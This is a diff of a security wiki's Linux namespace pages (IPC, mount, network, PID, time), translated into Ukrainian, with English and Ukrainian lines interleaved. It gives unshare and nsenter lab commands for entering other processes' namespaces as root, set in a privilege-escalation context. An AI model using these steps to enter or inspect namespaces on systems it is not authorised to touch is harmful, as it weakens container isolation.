2. **Наслідок**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- Завершення PID 1 у новому просторі призводить до очищення прапора `PIDNS_HASH_ADDING`. Це призводить до того, що функція `alloc_pid` не може виділити новий PID при створенні нового процесу, що викликає помилку "Не вдалося виділити пам'ять".
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **Рішення**:
- Проблему можна вирішити, використовуючи параметр `-f` з `unshare`. Цей параметр змушує `unshare` створити новий процес після створення нового PID простору.
- Виконання `%unshare -fp /bin/bash%` забезпечує, що команда `unshare` сама стає PID 1 у новому просторі. `/bin/bash` та його дочірні процеси тоді безпечно містяться в цьому новому просторі, запобігаючи передчасному завершенню PID 1 та дозволяючи нормальне виділення PID.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
Забезпечивши, що `unshare` виконується з прапором `-f`, новий PID простір правильно підтримується, що дозволяє `/bin/bash` та його підпроцесам працювати без виникнення помилки виділення пам'яті.
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace is your process in
### &#x20;Перевірте, в якому просторі імен знаходиться ваш процес
```bash
ls -l /proc/self/ns/ipc
lrwxrwxrwx 1 root root 0 Apr 4 20:37 /proc/self/ns/ipc -> 'ipc:[4026531839]'
```
### Find all IPC namespaces
### Знайти всі IPC простори імен
```bash
sudo find /proc -maxdepth 3 -type l -name ipc -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name ipc -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside an IPC namespace
### Увійти в IPC простір імен
```bash
nsenter -i TARGET_PID --pid /bin/bash
```
Також ви можете **входити в інший просторовий процес тільки якщо ви root**. І ви **не можете** **входити** в інший простір **без дескриптора**, що вказує на нього (наприклад, `/proc/self/ns/net`).
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`).
### Create IPC object
### Створити об'єкт IPC
```bash
# Container
sudo unshare -i /bin/bash
@ -93,8 +82,7 @@ key shmid owner perms bytes nattch status
# From the host
ipcs -m # Nothing is seen
```
## References
## Посилання
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)

64
src/linux-hardening/privilege-escalation/docker-security/namespaces/mount-namespace.md
View File

@ -4,68 +4,61 @@
## Basic Information
A mount namespace is a Linux kernel feature that provides isolation of the file system mount points seen by a group of processes. Each mount namespace has its own set of file system mount points, and **changes to the mount points in one namespace do not affect other namespaces**. This means that processes running in different mount namespaces can have different views of the file system hierarchy.
Mount namespace - це функція ядра Linux, яка забезпечує ізоляцію точок монтування файлової системи, які бачить група процесів. Кожен mount namespace має свій власний набір точок монтування файлової системи, і **зміни в точках монтування в одному namespace не впливають на інші namespaces**. Це означає, що процеси, що працюють в різних mount namespaces, можуть мати різні уявлення про ієрархію файлової системи.
Mount namespaces are particularly useful in containerization, where each container should have its own file system and configuration, isolated from other containers and the host system.
Mount namespaces особливо корисні в контейнеризації, де кожен контейнер повинен мати свою власну файлову систему та конфігурацію, ізольовану від інших контейнерів і хост-системи.
### How it works:
1. When a new mount namespace is created, it is initialized with a **copy of the mount points from its parent namespace**. This means that, at creation, the new namespace shares the same view of the file system as its parent. However, any subsequent changes to the mount points within the namespace will not affect the parent or other namespaces.
2. When a process modifies a mount point within its namespace, such as mounting or unmounting a file system, the **change is local to that namespace** and does not affect other namespaces. This allows each namespace to have its own independent file system hierarchy.
3. Processes can move between namespaces using the `setns()` system call, or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWNS` flag. When a process moves to a new namespace or creates one, it will start using the mount points associated with that namespace.
4. **File descriptors and inodes are shared across namespaces**, meaning that if a process in one namespace has an open file descriptor pointing to a file, it can **pass that file descriptor** to a process in another namespace, and **both processes will access the same file**. However, the file's path may not be the same in both namespaces due to differences in mount points.
1. Коли створюється новий mount namespace, він ініціалізується з **копією точок монтування з його батьківського namespace**. Це означає, що при створенні новий namespace ділить те ж саме уявлення про файлову систему, що і його батько. Однак будь-які подальші зміни в точках монтування в межах namespace не вплинуть на батьківський або інші namespaces.
2. Коли процес змінює точку монтування в межах свого namespace, наприклад, монтує або демонтує файлову систему, **зміна є локальною для цього namespace** і не впливає на інші namespaces. Це дозволяє кожному namespace мати свою власну незалежну ієрархію файлової системи.
3. Процеси можуть переміщатися між namespaces, використовуючи системний виклик `setns()`, або створювати нові namespaces, використовуючи системні виклики `unshare()` або `clone()` з прапором `CLONE_NEWNS`. Коли процес переходить до нового namespace або створює його, він почне використовувати точки монтування, пов'язані з цим namespace.
4. **Файлові дескриптори та іноди діляться між namespaces**, що означає, що якщо процес в одному namespace має відкритий файловий дескриптор, що вказує на файл, він може **передати цей файловий дескриптор** процесу в іншому namespace, і **обидва процеси отримають доступ до одного й того ж файлу**. Однак шлях до файлу може не бути однаковим в обох namespaces через різницю в точках монтування.
## Lab:
### Create different Namespaces
#### CLI
```bash
sudo unshare -m [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
Монтування нової інстанції файлової системи `/proc`, якщо ви використовуєте параметр `--mount-proc`, забезпечує, що новий простір монтування має **точний та ізольований вигляд інформації про процеси, специфічної для цього простору**.
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>Помилка: bash: fork: Не вдається виділити пам'ять</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
Коли `unshare` виконується без параметра `-f`, виникає помилка через те, як Linux обробляє нові PID (ідентифікатори процесів) простори. Основні деталі та рішення наведені нижче:
1. **Problem Explanation**:
1. **Пояснення проблеми**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Ядро Linux дозволяє процесу створювати нові простори за допомогою системного виклику `unshare`. Однак процес, який ініціює створення нового PID простору (називається "процесом unshare"), не входить до нового простору; лише його дочірні процеси входять.
- Виконання `%unshare -p /bin/bash%` запускає `/bin/bash` в тому ж процесі, що й `unshare`. Внаслідок цього `/bin/bash` та його дочірні процеси знаходяться в оригінальному PID просторі.
- Перший дочірній процес `/bin/bash` у новому просторі стає PID 1. Коли цей процес завершується, це викликає очищення простору, якщо немає інших процесів, оскільки PID 1 має особливу роль усиновлення сирітських процесів. Ядро Linux тоді вимкне виділення PID у цьому просторі.
2. **Consequence**:
2. **Наслідок**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- Завершення PID 1 у новому просторі призводить до очищення прапора `PIDNS_HASH_ADDING`. Це призводить до того, що функція `alloc_pid` не може виділити новий PID при створенні нового процесу, що викликає помилку "Не вдається виділити пам'ять".
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **Рішення**:
- Проблему можна вирішити, використовуючи параметр `-f` з `unshare`. Цей параметр змушує `unshare` створити новий процес після створення нового PID простору.
- Виконання `%unshare -fp /bin/bash%` забезпечує, що команда `unshare` сама стає PID 1 у новому просторі. `/bin/bash` та його дочірні процеси тоді безпечно містяться в цьому новому просторі, запобігаючи передчасному завершенню PID 1 та дозволяючи нормальне виділення PID.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
Забезпечуючи, що `unshare` виконується з прапором `-f`, новий PID простір правильно підтримується, що дозволяє `/bin/bash` та його підпроцесам працювати без виникнення помилки виділення пам'яті.
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace is your process in
### &#x20;Перевірте, в якому просторі імен знаходиться ваш процес
```bash
ls -l /proc/self/ns/mnt
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/mnt -> 'mnt:[4026531841]'
```
### Find all Mount namespaces
### Знайти всі простори монтування
```bash
sudo find /proc -maxdepth 3 -type l -name mnt -exec readlink {} \; 2>/dev/null | sort -u
# Find the processes with an specific namespace
@ -75,19 +68,15 @@ sudo find /proc -maxdepth 3 -type l -name mnt -exec ls -l {} \; 2>/dev/null | g
```bash
findmnt
```
### Enter inside a Mount namespace
### Увійти в простір монтування
```bash
nsenter -m TARGET_PID --pid /bin/bash
```
Також ви можете **входити в інший просторовий контекст процесу лише якщо ви є root**. І ви **не можете** **входити** в інший просторовий контекст **без дескриптора**, що вказує на нього (наприклад, `/proc/self/ns/mnt`).
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/mnt`).
Because new mounts are only accessible within the namespace it's possible that a namespace contains sensitive information that can only be accessible from it.
### Mount something
Оскільки нові монтування доступні лише в межах просторового контексту, можливо, що просторовий контекст містить чутливу інформацію, яка може бути доступна лише з нього.
### Монтувати щось
```bash
# Generate new mount ns
unshare -m /bin/bash
@ -127,8 +116,7 @@ systemd-private-3d87c249e8a84451994ad692609cd4b6-systemd-timesyncd.service-FAnDq
vmware-root_662-2689143848
```
## References
## Посилання
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
- [https://unix.stackexchange.com/questions/464033/understanding-how-mount-namespaces-work-in-linux](https://unix.stackexchange.com/questions/464033/understanding-how-mount-namespaces-work-in-linux)

64
src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md
View File

@ -1,84 +1,74 @@
# Network Namespace
# Мережева Простір
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## Основна Інформація
A network namespace is a Linux kernel feature that provides isolation of the network stack, allowing **each network namespace to have its own independent network configuration**, interfaces, IP addresses, routing tables, and firewall rules. This isolation is useful in various scenarios, such as containerization, where each container should have its own network configuration, independent of other containers and the host system.
Мережева простір - це функція ядра Linux, яка забезпечує ізоляцію мережевого стеку, дозволяючи **кожній мережевій простору мати свою власну незалежну мережеву конфігурацію**, інтерфейси, IP-адреси, таблиці маршрутизації та правила брандмауера. Ця ізоляція корисна в різних сценаріях, таких як контейнеризація, де кожен контейнер повинен мати свою власну мережеву конфігурацію, незалежну від інших контейнерів та хост-системи.
### How it works:
### Як це працює:
1. When a new network namespace is created, it starts with a **completely isolated network stack**, with **no network interfaces** except for the loopback interface (lo). This means that processes running in the new network namespace cannot communicate with processes in other namespaces or the host system by default.
2. **Virtual network interfaces**, such as veth pairs, can be created and moved between network namespaces. This allows for establishing network connectivity between namespaces or between a namespace and the host system. For example, one end of a veth pair can be placed in a container's network namespace, and the other end can be connected to a **bridge** or another network interface in the host namespace, providing network connectivity to the container.
3. Network interfaces within a namespace can have their **own IP addresses, routing tables, and firewall rules**, independent of other namespaces. This allows processes in different network namespaces to have different network configurations and operate as if they are running on separate networked systems.
4. Processes can move between namespaces using the `setns()` system call, or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWNET` flag. When a process moves to a new namespace or creates one, it will start using the network configuration and interfaces associated with that namespace.
1. Коли створюється нова мережева простір, вона починає з **повністю ізольованого мережевого стеку**, з **жодними мережевими інтерфейсами** за винятком інтерфейсу зворотного зв'язку (lo). Це означає, що процеси, що виконуються в новій мережевій просторі, не можуть спілкуватися з процесами в інших просторах або з хост-системою за замовчуванням.
2. **Віртуальні мережеві інтерфейси**, такі як пари veth, можуть бути створені та переміщені між мережевими просторами. Це дозволяє встановлювати мережеву зв'язність між просторами або між простором і хост-системою. Наприклад, один кінець пари veth може бути розміщений у мережевій просторі контейнера, а інший кінець може бути підключений до **мосту** або іншого мережевого інтерфейсу в хост-просторі, забезпечуючи мережеву зв'язність для контейнера.
3. Мережеві інтерфейси в межах простору можуть мати свої **власні IP-адреси, таблиці маршрутизації та правила брандмауера**, незалежно від інших просторів. Це дозволяє процесам в різних мережевих просторах мати різні мережеві конфігурації та працювати так, ніби вони виконуються на окремих мережевих системах.
4. Процеси можуть переміщатися між просторами, використовуючи системний виклик `setns()`, або створювати нові простори, використовуючи системні виклики `unshare()` або `clone()` з прапором `CLONE_NEWNET`. Коли процес переміщується в новий простір або створює його, він почне використовувати мережеву конфігурацію та інтерфейси, пов'язані з цим простором.
## Lab:
## Лабораторія:
### Create different Namespaces
### Створити різні Простори
#### CLI
```bash
sudo unshare -n [--mount-proc] /bin/bash
# Run ifconfig or ip -a
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
Монтування нової інстанції файлової системи `/proc`, якщо ви використовуєте параметр `--mount-proc`, забезпечує, що новий простір монтування має **точний та ізольований вигляд інформації про процеси, специфічної для цього простору**.
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>Помилка: bash: fork: Не вдається виділити пам'ять</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
Коли `unshare` виконується без параметра `-f`, виникає помилка через те, як Linux обробляє нові PID (ідентифікатори процесів) простори. Основні деталі та рішення наведені нижче:
1. **Problem Explanation**:
1. **Пояснення проблеми**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Ядро Linux дозволяє процесу створювати нові простори за допомогою системного виклику `unshare`. Однак процес, який ініціює створення нового PID простору (називається "процесом unshare"), не входить до нового простору; лише його дочірні процеси входять.
- Виконання `%unshare -p /bin/bash%` запускає `/bin/bash` в тому ж процесі, що й `unshare`. Відповідно, `/bin/bash` та його дочірні процеси знаходяться в оригінальному PID просторі.
- Перший дочірній процес `/bin/bash` у новому просторі стає PID 1. Коли цей процес завершується, це викликає очищення простору, якщо немає інших процесів, оскільки PID 1 має особливу роль усиновлення сирітських процесів. Ядро Linux тоді вимкне виділення PID у цьому просторі.
2. **Consequence**:
2. **Наслідок**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- Завершення PID 1 у новому просторі призводить до очищення прапора `PIDNS_HASH_ADDING`. Це призводить до того, що функція `alloc_pid` не може виділити новий PID при створенні нового процесу, що викликає помилку "Не вдається виділити пам'ять".
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **Рішення**:
- Проблему можна вирішити, використовуючи параметр `-f` з `unshare`. Цей параметр змушує `unshare` створити новий процес після створення нового PID простору.
- Виконання `%unshare -fp /bin/bash%` забезпечує, що команда `unshare` сама стає PID 1 у новому просторі. `/bin/bash` та його дочірні процеси тоді безпечно містяться в цьому новому просторі, запобігаючи передчасному завершенню PID 1 та дозволяючи нормальне виділення PID.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
Забезпечуючи, що `unshare` виконується з прапором `-f`, новий PID простір правильно підтримується, що дозволяє `/bin/bash` та його підпроцесам працювати без виникнення помилки виділення пам'яті.
</details>
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
# Run ifconfig or ip -a
```
### &#x20;Check which namespace is your process in
### &#x20;Перевірте, в якому просторі імен знаходиться ваш процес
```bash
ls -l /proc/self/ns/net
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]'
```
### Find all Network namespaces
### Знайти всі мережеві простори назв
```bash
sudo find /proc -maxdepth 3 -type l -name net -exec readlink {} \; 2>/dev/null | sort -u | grep "net:"
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | grep <ns-number>
```
### Enter inside a Network namespace
### Увійти в мережевий простір назв
```bash
nsenter -n TARGET_PID --pid /bin/bash
```
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/net`).
Також ви можете **входити в інший простір процесів лише якщо ви root**. І ви **не можете** **входити** в інший простір **без дескриптора**, що вказує на нього (наприклад, `/proc/self/ns/net`).
## References

70
src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md
View File

@ -2,87 +2,77 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
The PID (Process IDentifier) namespace is a feature in the Linux kernel that provides process isolation by enabling a group of processes to have their own set of unique PIDs, separate from the PIDs in other namespaces. This is particularly useful in containerization, where process isolation is essential for security and resource management.
PID (ідентифікатор процесу) namespace - це функція в ядрі Linux, яка забезпечує ізоляцію процесів, дозволяючи групі процесів мати свій власний набір унікальних PID, відокремлений від PID в інших namespaces. Це особливо корисно в контейнеризації, де ізоляція процесів є важливою для безпеки та управління ресурсами.
When a new PID namespace is created, the first process in that namespace is assigned PID 1. This process becomes the "init" process of the new namespace and is responsible for managing other processes within the namespace. Each subsequent process created within the namespace will have a unique PID within that namespace, and these PIDs will be independent of PIDs in other namespaces.
Коли створюється новий PID namespace, першому процесу в цьому namespace присвоюється PID 1. Цей процес стає "init" процесом нового namespace і відповідає за управління іншими процесами в межах namespace. Кожен наступний процес, створений у межах namespace, матиме унікальний PID у цьому namespace, і ці PID будуть незалежними від PID в інших namespaces.
From the perspective of a process within a PID namespace, it can only see other processes in the same namespace. It is not aware of processes in other namespaces, and it cannot interact with them using traditional process management tools (e.g., `kill`, `wait`, etc.). This provides a level of isolation that helps prevent processes from interfering with one another.
З точки зору процесу в PID namespace, він може бачити лише інші процеси в тому ж namespace. Він не знає про процеси в інших namespaces і не може взаємодіяти з ними, використовуючи традиційні інструменти управління процесами (наприклад, `kill`, `wait` тощо). Це забезпечує рівень ізоляції, який допомагає запобігти втручанню процесів один в одного.
### How it works:
### Як це працює:
1. When a new process is created (e.g., by using the `clone()` system call), the process can be assigned to a new or existing PID namespace. **If a new namespace is created, the process becomes the "init" process of that namespace**.
2. The **kernel** maintains a **mapping between the PIDs in the new namespace and the corresponding PIDs** in the parent namespace (i.e., the namespace from which the new namespace was created). This mapping **allows the kernel to translate PIDs when necessary**, such as when sending signals between processes in different namespaces.
3. **Processes within a PID namespace can only see and interact with other processes in the same namespace**. They are not aware of processes in other namespaces, and their PIDs are unique within their namespace.
4. When a **PID namespace is destroyed** (e.g., when the "init" process of the namespace exits), **all processes within that namespace are terminated**. This ensures that all resources associated with the namespace are properly cleaned up.
1. Коли створюється новий процес (наприклад, за допомогою системного виклику `clone()`), процес може бути призначений новому або існуючому PID namespace. **Якщо створюється новий namespace, процес стає "init" процесом цього namespace**.
2. **Ядро** підтримує **відображення між PID у новому namespace та відповідними PID** в батьківському namespace (тобто namespace, з якого був створений новий namespace). Це відображення **дозволяє ядру перекладати PID за необхідності**, наприклад, при надсиланні сигналів між процесами в різних namespaces.
3. **Процеси в PID namespace можуть бачити та взаємодіяти лише з іншими процесами в тому ж namespace**. Вони не знають про процеси в інших namespaces, і їхні PID є унікальними в межах їхнього namespace.
4. Коли **PID namespace знищується** (наприклад, коли "init" процес namespace завершує свою роботу), **всі процеси в цьому namespace завершуються**. Це забезпечує належне очищення всіх ресурсів, пов'язаних з namespace.
## Lab:
## Лабораторія:
### Create different Namespaces
### Створити різні Namespaces
#### CLI
```bash
sudo unshare -pf --mount-proc /bin/bash
```
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>Помилка: bash: fork: Не вдається виділити пам'ять</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
Коли `unshare` виконується без параметра `-f`, виникає помилка через те, як Linux обробляє нові PID (ідентифікатори процесів) простори. Основні деталі та рішення наведені нижче:
1. **Problem Explanation**:
1. **Пояснення проблеми**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Ядро Linux дозволяє процесу створювати нові простори за допомогою системного виклику `unshare`. Однак процес, який ініціює створення нового PID простору (який називається "процесом unshare"), не входить до нового простору; лише його дочірні процеси входять.
- Виконання `%unshare -p /bin/bash%` запускає `/bin/bash` в тому ж процесі, що й `unshare`. Відповідно, `/bin/bash` та його дочірні процеси знаходяться в оригінальному PID просторі.
- Перший дочірній процес `/bin/bash` у новому просторі стає PID 1. Коли цей процес завершується, це викликає очищення простору, якщо немає інших процесів, оскільки PID 1 має особливу роль усиновлення сирітських процесів. Ядро Linux тоді вимкне виділення PID у цьому просторі.
2. **Consequence**:
2. **Наслідок**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- Завершення PID 1 у новому просторі призводить до очищення прапора `PIDNS_HASH_ADDING`. Це призводить до того, що функція `alloc_pid` не може виділити новий PID при створенні нового процесу, що викликає помилку "Не вдається виділити пам'ять".
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **Рішення**:
- Проблему можна вирішити, використовуючи параметр `-f` з `unshare`. Цей параметр змушує `unshare` створити новий процес після створення нового PID простору.
- Виконання `%unshare -fp /bin/bash%` забезпечує, що команда `unshare` сама стає PID 1 у новому просторі. `/bin/bash` та його дочірні процеси тоді безпечно містяться в цьому новому просторі, запобігаючи передчасному завершенню PID 1 і дозволяючи нормальне виділення PID.
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
Забезпечивши, що `unshare` виконується з прапором `-f`, новий PID простір правильно підтримується, що дозволяє `/bin/bash` та його підпроцесам працювати без виникнення помилки виділення пам'яті.
</details>
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
Монтування нової інстанції файлової системи `/proc`, якщо ви використовуєте параметр `--mount-proc`, забезпечує, що новий простір монтування має **точний та ізольований вигляд інформації про процеси, специфічної для цього простору**.
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
### &#x20;Check which namespace are your process in
### &#x20;Перевірте, в якому просторі імен знаходиться ваш процес
```bash
ls -l /proc/self/ns/pid
lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]'
```
### Find all PID namespaces
### Знайти всі PID простори назв
```bash
sudo find /proc -maxdepth 3 -type l -name pid -exec readlink {} \; 2>/dev/null | sort -u
```
Зверніть увагу, що користувач root з початкового (за замовчуванням) PID простору може бачити всі процеси, навіть ті, що знаходяться в нових PID просторах, тому ми можемо бачити всі PID простори.
Note that the root use from the initial (default) PID namespace can see all the processes, even the ones in new PID names paces, thats why we can see all the PID namespaces.
### Enter inside a PID namespace
### Увійти всередину PID простору
```bash
nsenter -t TARGET_PID --pid /bin/bash
```
Коли ви входите в PID простір з за замовчуванням, ви все ще зможете бачити всі процеси. І процес з цього PID ns зможе бачити новий bash у PID ns.
When you enter inside a PID namespace from the default namespace, you will still be able to see all the processes. And the process from that PID ns will be able to see the new bash on the PID ns.
Also, you can only **enter in another process PID namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/pid`)
Також, ви можете **входити в інший PID простір процесу тільки якщо ви root**. І ви **не можете** **входити** в інший простір **без дескриптора**, що вказує на нього (наприклад, `/proc/self/ns/pid`)
## References

52
src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md
View File

@ -1,72 +1,62 @@
# Time Namespace
# Часовий простір
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
The time namespace in Linux allows for per-namespace offsets to the system monotonic and boot-time clocks. It is commonly used in Linux containers to change the date/time within a container and adjust clocks after restoring from a checkpoint or snapshot.
Часовий простір у Linux дозволяє використовувати зсуви для системних монотонних і завантажувальних годинників для кожного простору. Він зазвичай використовується в контейнерах Linux для зміни дати/часу всередині контейнера та налаштування годинників після відновлення з контрольної точки або знімка.
## Lab:
## Лабораторія:
### Create different Namespaces
### Створення різних просторів
#### CLI
```bash
sudo unshare -T [--mount-proc] /bin/bash
```
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
Монтування нової інстанції файлової системи `/proc`, якщо ви використовуєте параметр `--mount-proc`, забезпечує, що новий простір монтування має **точний та ізольований вигляд інформації про процеси, специфічної для цього простору**.
<details>
<summary>Error: bash: fork: Cannot allocate memory</summary>
<summary>Помилка: bash: fork: Не вдається виділити пам'ять</summary>
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
Коли `unshare` виконується без параметра `-f`, виникає помилка через те, як Linux обробляє нові PID (ідентифікатори процесів) простори. Основні деталі та рішення наведені нижче:
1. **Problem Explanation**:
1. **Пояснення проблеми**:
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
- Ядро Linux дозволяє процесу створювати нові простори за допомогою системного виклику `unshare`. Однак процес, який ініціює створення нового PID простору (який називається "процесом unshare"), не входить до нового простору; лише його дочірні процеси входять.
- Виконання `%unshare -p /bin/bash%` запускає `/bin/bash` в тому ж процесі, що й `unshare`. Внаслідок цього `/bin/bash` та його дочірні процеси знаходяться в оригінальному PID просторі.
- Перший дочірній процес `/bin/bash` у новому просторі стає PID 1. Коли цей процес завершується, це викликає очищення простору, якщо немає інших процесів, оскільки PID 1 має особливу роль усиновлення сирітських процесів. Ядро Linux тоді вимкне виділення PID у цьому просторі.
2. **Consequence**:
2. **Наслідок**:
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
- Завершення PID 1 у новому просторі призводить до очищення прапора `PIDNS_HASH_ADDING`. Це призводить до того, що функція `alloc_pid` не може виділити новий PID при створенні нового процесу, що викликає помилку "Не вдається виділити пам'ять".
3. **Solution**:
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
3. **Рішення**:
- Проблему можна вирішити, використовуючи параметр `-f` з `unshare`. Цей параметр змушує `unshare` створити новий процес після створення нового PID простору.
